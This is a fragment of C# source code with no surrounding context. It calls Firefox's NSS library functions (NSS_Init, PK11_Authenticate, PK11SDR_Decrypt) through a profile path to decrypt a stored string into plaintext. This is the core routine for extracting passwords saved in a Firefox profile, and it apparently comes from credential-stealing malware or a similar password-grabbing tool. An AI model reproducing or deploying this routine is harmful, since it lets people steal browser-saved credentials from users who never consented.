private static string decrypt(string S)
{
FireFox.TSECItem tSECItem = default(FireFox.TSECItem);
FireFox.NSS_Init(FireFox.FFProfile);
long num = FireFox.PK11_GetInternalKeySlot();
if (num == 0L)
{
return(string.Empty);
}
FireFox.PK11_Authenticate(num, true, 0L);
int value = FireFox.NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, S, S.Length);
FireFox.TSECItem tSECItem2 = (FireFox.TSECItem)Marshal.PtrToStructure(new IntPtr(value), typeof(FireFox.TSECItem));
if (FireFox.PK11SDR_Decrypt(ref tSECItem2, ref tSECItem, 0) != 0)
{
return(string.Empty);
}
if (tSECItem.SECItemLen != 0)
{
byte[] array = new byte[tSECItem.SECItemLen];
Marshal.Copy(new IntPtr(tSECItem.SECItemData), array, 0, tSECItem.SECItemLen);
return(Encoding.ASCII.GetString(array));
}
return(string.Empty);
}
public static int PK11SDR_Decrypt(ref FireFox.TSECItem data, ref FireFox.TSECItem result, int cx)
{
IntPtr procAddress = FireFox.GetProcAddress(FireFox.NSS3, "PK11SDR_Decrypt");
FireFox.DLLFunctionDelegate5 dLLFunctionDelegate = (FireFox.DLLFunctionDelegate5)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(FireFox.DLLFunctionDelegate5));
return(dLLFunctionDelegate(ref data, ref result, cx));
}